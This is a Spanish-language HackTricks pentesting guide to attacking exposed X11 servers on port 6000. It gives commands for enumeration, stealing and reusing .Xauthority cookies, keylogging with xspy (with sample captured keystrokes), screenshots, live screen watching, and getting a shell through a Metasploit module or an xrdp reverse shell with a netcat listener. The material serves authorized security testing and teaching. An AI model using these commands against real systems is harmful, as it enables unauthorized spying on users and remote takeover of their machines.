hacktricks/network-services-pentesting/6000-pentesting-x11.md

8.7 KiB
Raw Blame History

6000 - Pentesting X11

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking
Involúcrate con contenido que profundiza en la emoción y desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Información Básica

Sistema de Ventanas X (X) es un sistema de ventanas versátil predominante en sistemas operativos basados en UNIX. Proporciona un marco para crear interfaces gráficas de usuario (GUIs), con programas individuales que manejan el diseño de la interfaz de usuario. Esta flexibilidad permite experiencias diversas y personalizables dentro del entorno X.

Puerto predeterminado: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeración

Verificar la conexión anónima:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Enumeración Local

El archivo .Xauthority en la carpeta de inicio de los usuarios es utilizado por X11 para la autorización. Desde aquí:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generando 128 bits de clave ("cookie"), almacenándola en ~/.Xauthority (o donde apunte la variable de entorno XAUTHORITY). ¡El cliente la envía al servidor en texto plano! El servidor verifica si tiene una copia de esta "cookie" y, de ser así, se permite la conexión. La clave es generada por DMX.

{% hint style="warning" %} Para utilizar la cookie debes establecer la variable de entorno: export XAUTHORITY=/ruta/a/.Xauthority {% endhint %}

Sesión de Enumeración Local

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

En el ejemplo, localhost:0 estaba ejecutando xfce4-session.

Verificar Conexión

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

Utiliza xspy para husmear las pulsaciones del teclado.

Salida de ejemplo:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Captura de pantallas

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Vista de Escritorio Remoto

Camino desde: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Vía: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Primero necesitamos encontrar el ID de la ventana usando xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Para visualización en vivo necesitamos usar

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Obtener Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Shell Inversa: Xrdp también permite obtener una shell inversa a través de Netcat. Escribe el siguiente comando:

./xrdp.py \<IP:0> no-disp

En la interfaz puedes ver la opción R-shell.

Luego, inicia un escucha de Netcat en tu sistema local en el puerto 5555.

nc -lvp 5555

Luego, coloque su dirección IP y puerto en la opción R-Shell y haga clic en R-shell para obtener un shell

Referencias

Shodan

  • port:6000 x11

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: